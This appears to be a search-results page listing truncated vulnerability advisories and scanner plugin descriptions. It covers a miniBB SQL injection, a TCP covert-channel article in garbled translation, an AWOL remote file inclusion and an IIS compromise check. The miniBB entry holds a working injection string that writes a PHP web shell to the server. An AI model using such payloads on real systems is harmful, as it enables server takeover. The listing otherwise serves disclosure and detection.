2345 matches found
SQL Injection: miniBB 2.0 RC6b
SQL Injection GET Не фильтруется параметр confirmCode. /index.php?action=confirmpasswd&confirmCode=f' union select '? passthru$GETcmd ?' from mysql.user INTO OUTFILE '/var/www/html/shell.php'/ Не фильтруется параметр post. /index.php?action=delmsg&post=1' union select 1,1 from mysql.user INTO...
The use of TCP hidden channels to bypass the firewall-vulnerability warning-the black bar safety net
From:http://www. oioj. net/ my home ISP a free personal home page service, in the days that followed, I often passed 3 3 8 9 Port to log in, constantly to the IT patch patch the vulnerability, do some management and maintenance, own also grow a lot of knowledge. Recently delving intonetworksecuri...
AWOL helperfunction.php includedir Parameter Remote File Inclusion
The remote host is running AWOL, an open source PHP application. It is possible to make the remote host include php files hosted on a third party server using the '$include' variable in AWOL. An attacker may use this flaw to inject arbitrary code in the remote host and gain a shell with the...
Microsoft IIS Potentially Compromised Host Detection
One or more files were found on this host that indicate a possible compromise. %NASLMINLEVEL 70300 This script was written by H D Moore ... and hacked by Tenable Network Security to avoid false positive. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid11003;...